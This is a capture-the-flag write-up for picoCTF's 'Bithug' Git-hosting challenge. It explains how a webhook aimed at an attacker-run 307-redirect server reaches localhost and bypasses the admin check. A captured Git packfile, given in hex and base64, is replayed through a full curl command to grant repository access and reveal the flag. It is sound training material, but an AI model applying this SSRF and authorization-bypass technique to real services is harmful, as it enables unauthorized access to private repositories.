Bithug
Problem
Code management software is way too bloated. Try our new lightweight solution, BitHug. Source: distribution.tgz
Solution
This web application is using Express.js for the backend and React for the frontend. The package manager is Yarn and Webpack is used to bundle assets. NPM scripts are used to run the various build and serve processes. The entire project can easily be run in a docker container thanks to the included
Dockerfile. Essentially, this challenge makes use of the standard set of tools used to build a full-stack application. It is likely a hard challenge due to the number of programs that one must understand to complete it. The goal of the challenge is to get access to the repository at/_/<username>.gitbecause the flag is in the readme file of that repo.The actual website itself is a simple Git server with functionality similar to that of GitHub (the challenge name is "GitHub" with the first and last letters switched). Users can create an account, create a git repository, and then push changes. Additionally, webhooks are supported so a user can post data to an external server on every commit. There is also a feature to give other users access to your repository by editing the
access.conffile on therefs/meta/configcommit of the repo.Looking at the backend code we see following files:
auth-api.ts: Handles authentication from auser-tokencookie orauthorizationheader. Alternatively, if the incoming connection is happening overlocalhost, the userkindattribute is automatically set toadmin.auth.ts: Basic logic for connecting the application to a database to store users.git-api.ts: The API to interact with git repositories over HTTP. Many of these function signatures are standard as part of Git.git.ts: A bridge between the web application and thegitcommand.index.ts: The main entry point.static-api.ts: Code to enable serving of the main html and js files for React.utils.ts: Basic utilities. Only contains aformatStringfunction.web-api.ts: Contains thelogin,logout, create repository,register, and obtain user information endpoints.webhooks.ts: Similar toauth.ts, but for webhooks. Connects the application to a database to store webhooks.
Here are some interesting things to take note of:
The only ways to obtain access to a repository that a user does not own are to be
user.kind === "admin"or to have the username be in the access config file. Source:git-api.tsLine 20.There is only one time when
user.kindis set toadminand it is whenreq.socket.remoteAddressislocalhost. Source:auth-api.tsLine 26.The code that creates a webhook checks to make sure that the endpoint of the webhook is not
localhostand that the port is80. Source:git-api.tsLine 64.The only places that data can be posted are the
login,register,repo/create, andlogoutendpoints inweb-api.tsand the/:user/:repo.git/webhooks,/:user/:repo.git/git-upload-pack, and/:user/:repo.git/git-receive-packendpoints ingit-api.ts. The aforementioned endpoints inweb-api.tsare basic and likely not exploitable.
Initially, I tried figuring our how to spoof the nodejs
req.socket.remoteAddressfunction (auth-api.tsLine 26). However, this web application is behind a reverse proxy that is configured correctly so spoofing this value is not possible. Thus, in order to execute a request as admin, the request needs to literally come fromlocalhost. We want to execute a request as an admin because an admin can access any repo, including the one with the flag at/_/<username>.git. Also, when we make a commit to a repository on BitHug, the following requests are shown in the console:{ kind: 'none' } GET /zwade/quine.git/info/refs?service=git-receive-pack { service: 'git-receive-pack' } { kind: 'none' } GET /zwade/quine.git/info/refs?service=git-receive-pack { service: 'git-receive-pack' } { kind: 'user', user: 'zwade' } GET /zwade/quine.git/info/refs?service=git-receive-pack { service: 'git-receive-pack' } { kind: 'user', user: 'zwade' } POST /zwade/quine.git/git-receive-pack {}Every commit posts data we control to the
/:user/:repo.git/git-receive-packendpoint, which is useful.For this tutorial, we will be using the
zwadeuser because some of his repositories are proxied tohttp://localhost:1823in theclient/src/webpack.config.jsdevServer. I'm not sure if it is necessary to use this user.Trying to use any endpoint that starts with
/:user/:repo.gitrequiresuser.kind === "admin" || user.user === repoOwneror for the username to be in the access configuration file. Posting to/:user/:repo.git/git-receive-packcallsreq.git.receivePackPostand allows the user to push changes to their git repository. Therefore, we need to create a webhook on a repo that a regular user owns that posts data tolocalhost. In this case we will use thezwade/quine.gitrepo. The webhook will post a git pack to the/_/zwade.git/git-receive-packendpoint to add a new commit to the/_/zwade.gitrepo. This commit will add thezwadeuser to theaccess.conffile of the/_/zwade.gitrepo. When we push a new commit tozwade/quine.git, the webhook will be called and the new commit will be pushed to the/_/zwade.gitrepo, which will addzwadeto theaccess.confand thus give us access. The commit will be pushed successfully because the request will come fromlocalhostand thus the user will be an admin.We first need to obtain a Git packfile containing a commit that adds a file called
access.conftorefs/meta/configcontaining our username,zwade. The can be completed by creating a new empty repository on BitHug and then cloning it using the provided commands. While capturing packets on thedocker0network interface usingwireshark, run the following commands in the cloned repository:echo "zwade" > access.conf git add access.conf git commit -m "Add" git push origin @:refs/meta/configIn
wireshark(my capture file: bithug-git.pcapng) we can follow the HTTP stream and see the git packfile being sent with the content generated by thesend-packprocess. To learn more about how the internals ofgit pushwork (includingsend-packandgit-receive-pack) then you should read the Chapter 10.6: Git Internals - Transfer Protocols of the Git Book. Inwireshark, we can change the data view to "C Arrays" and copy-paste the hex bytes into CyberChef to convert them to base64, since the/:user/:repo.git/webhooksendpoint decodes thebodyas base64. We could try to manually create the header data generated bysend-pack, but that is difficult andwiresharkmakes it easy to get the exactly correct payload.C Array extracted from
wireshark:0x30, 0x30, 0x39, 0x34, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x20, 0x65, 0x37, 0x38, 0x36, 0x64, 0x65, 0x62, 0x61, 0x39, 0x36, 0x37, 0x30, 0x34, 0x33, 0x34, 0x35, 0x34, 0x31, 0x63, 0x30, 0x65, 0x36, 0x66, 0x36, 0x61, 0x34, 0x30, 0x65, 0x39, 0x62, 0x64, 0x32, 0x36, 0x66, 0x31, 0x38, 0x61, 0x39, 0x38, 0x61, 0x20, 0x72, 0x65, 0x66, 0x73, 0x2f, 0x6d, 0x65, 0x74, 0x61, 0x2f, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x00, 0x20, 0x72, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x2d, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x20, 0x73, 0x69, 0x64, 0x65, 0x2d, 0x62, 0x61, 0x6e, 0x64, 0x2d, 0x36, 0x34, 0x6b, 0x20, 0x61, 0x67, 0x65, 0x6e, 0x74, 0x3d, 0x67, 0x69, 0x74, 0x2f, 0x32, 0x2e, 0x32, 0x35, 0x2e, 0x31, 0x30, 0x30, 0x30, 0x30, 0x50, 0x41, 0x43, 0x4b, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x03, 0x96, 0x0b, 0x78, 0x9c, 0xa5, 0x8c, 0x31, 0x0e, 0x83, 0x30, 0x0c, 0x00, 0xf7, 0xbc, 0xc2, 0x1f, 0x28, 0xb2, 0xd3, 0xd4, 0x01, 0xa9, 0xaa, 0xda, 0x8d, 0x6f, 0x10, 0xdb, 0x51, 0x3a, 0xd0, 0x48, 0x10, 0x86, 0xfe, 0xbe, 0x08, 0x9e, 0xd0, 0xe9, 0x74, 0x37, 0x5c, 0x5b, 0xcc, 0xc0, 0x38, 0x06, 0xcb, 0x59, 0x08, 0x51, 0x93, 0x8a, 0xd2, 0x8d, 0xaf, 0x12, 0x7d, 0x60, 0xc1, 0x21, 0x59, 0x26, 0x4b, 0xbe, 0xef, 0xc5, 0x07, 0x37, 0x6d, 0xad, 0xd4, 0x05, 0xc6, 0xe9, 0xab, 0xf6, 0x81, 0xb1, 0x6e, 0xeb, 0x8e, 0x7b, 0x39, 0xf4, 0x79, 0xa2, 0x1c, 0xb1, 0x93, 0x3a, 0x3f, 0x80, 0x98, 0x98, 0x7d, 0x8c, 0x43, 0x84, 0x0b, 0x06, 0x44, 0xb7, 0xd7, 0xf9, 0xdd, 0x9a, 0xfd, 0xb1, 0x70, 0x2f, 0x55, 0xf7, 0x03, 0xdf, 0xbc, 0x39, 0x26, 0xa7, 0x02, 0x78, 0x9c, 0x33, 0x34, 0x30, 0x30, 0x33, 0x31, 0x51, 0x48, 0x4c, 0x4e, 0x4e, 0x2d, 0x2e, 0xd6, 0x4b, 0xce, 0xcf, 0x4b, 0x63, 0xe0, 0xfb, 0xcd, 0x1c, 0xd8, 0x5a, 0x29, 0x2c, 0x9c, 0xe2, 0x79, 0x6a, 0x5b, 0x6c, 0x40, 0xdf, 0xa1, 0x4b, 0xb7, 0x8c, 0x0b, 0x01, 0xf6, 0x64, 0x0e, 0x91, 0x36, 0x78, 0x9c, 0xab, 0x2a, 0x4f, 0x4c, 0x49, 0xe5, 0x02, 0x00, 0x08, 0xb9, 0x02, 0x26, 0xee, 0x24, 0xf7, 0x11, 0x5a, 0x4a, 0xcf, 0x5b, 0x26, 0xd6, 0xbc, 0x49, 0xd8, 0xb7, 0x3b, 0x47, 0x23, 0x02, 0xa8, 0x50Using CyberChef we get the following base64 string:
MDA5NDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgZTc4NmRlYmE5NjcwNDM0NTQxYzBlNmY2YTQwZTliZDI2ZjE4YTk4YSByZWZzL21ldGEvY29uZmlnACByZXBvcnQtc3RhdHVzIHNpZGUtYmFuZC02NGsgYWdlbnQ9Z2l0LzIuMjUuMTAwMDBQQUNLAAAAAgAAAAOWC3icpYwxDoMwDAD3vMIfKLLT1AGpqtqNbxDbUTrQSBCG/r4IntDpdDdcW8zAOAbLWQhRk4rSja8SfWDBIVkmS77vxQc3ba3UBcbpq/aBsW7rjns59HmiHLGTOj+AmJh9jEOECwZEt9f53Zr9sXAvVfcD37w5JqcCeJwzNDAwMzFRSExOTi0u1kvOz0tj4PvNHNhaKSyc4nlqW2xA36FLt4wLAfZkDpE2eJyrKk9MSeUCAAi5AibuJPcRWkrPWybWvEnYtztHIwKoUA==. This is the payload for our webhook.Before we can craft our webhook payload we need to get around the check on lines 71-77 of
git-api.ts. This code makes sure the webhook does not point tolocalhostand that it connects to port80. This is a problem for us because the backend of the application runs onlocalhost:1823. We can bypass this by running a server that redirects all post requests to thelocalhostdomain. I wrote a simple python server to do this in server.py. You can either run this server on your local network (and port forward it on your router) or put it on an actual server using something like Google's AppEngine. The server performs a307redirect because307redirects prohibit HTTP method changes upon redirect: "It is therefore recommended to set the 302 code only as a response for GET or HEAD methods and to use 307 Temporary Redirect instead, as the method change is explicitly prohibited in that case." Quote from HTTP Code 302 on MDN.Let's create a new repository called
first-repofor this webhook. Then, we can post the webhook using cURL:curl http://venus.picoctf.net:52986/zwade/first-repo.git/webhooks -H "Content-Type: application/json" --cookie "user-token=2dcba1e6-2957-475b-adad-54d123d7bc9a" --data '{"url":"<IP_ADDRESS>/_/zwade.git/git-receive-pack","body":"MDA5NDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgZTc4NmRlYmE5NjcwNDM0NTQxYzBlNmY2YTQwZTliZDI2ZjE4YTk4YSByZWZzL21ldGEvY29uZmlnACByZXBvcnQtc3RhdHVzIHNpZGUtYmFuZC02NGsgYWdlbnQ9Z2l0LzIuMjUuMTAwMDBQQUNLAAAAAgAAAAOWC3icpYwxDoMwDAD3vMIfKLLT1AGpqtqNbxDbUTrQSBCG/r4IntDpdDdcW8zAOAbLWQhRk4rSja8SfWDBIVkmS77vxQc3ba3UBcbpq/aBsW7rjns59HmiHLGTOj+AmJh9jEOECwZEt9f53Zr9sXAvVfcD37w5JqcCeJwzNDAwMzFRSExOTi0u1kvOz0tj4PvNHNhaKSyc4nlqW2xA36FLt4wLAfZkDpE2eJyrKk9MSeUCAAi5AibuJPcRWkrPWybWvEnYtztHIwKoUA==","contentType":"application/x-git-receive-pack-request"}'. Make sure to replace<IP_ADDRESS>with the IP address where you are running the server.py script. ThecontentTypefor the webhook isapplication/x-git-receive-pack-requestsince this is the content type shown in the code for the/:user/:repo.git/git-receive-packendpoint ingit-api.tson line 159. Make sure to set youruser-tokencookie for thezwadeuser by grabbing it from your browser developer tools.Once this webhook is in place, all we need to do is commit a new change to
zwade/first-repo.git:echo "new" > new.md git add new.md git commit -m "New" git push origin masterRunning the above commands in the
zwade/first-repo.gitrepo will push the new file and thus execute our webhook. Our webhook connects to our server which redirects the request tolocalhoston the server running BitHug. The payload data (a Git packfile containing a file calledaccess.confwith the textzwadein it) is posted tolocalhost:1823/_/zwade.git/git-receive-pack, and thus a new commit is added to the target repository that gives the userzwadeaccess. We can visithttp://venus.picoctf.net:52986/_/zwade.gitto get the flag from the target repository's readme file.
Flag
picoCTF{good_job_at_gitting_good}
Last updated
Was this helpful?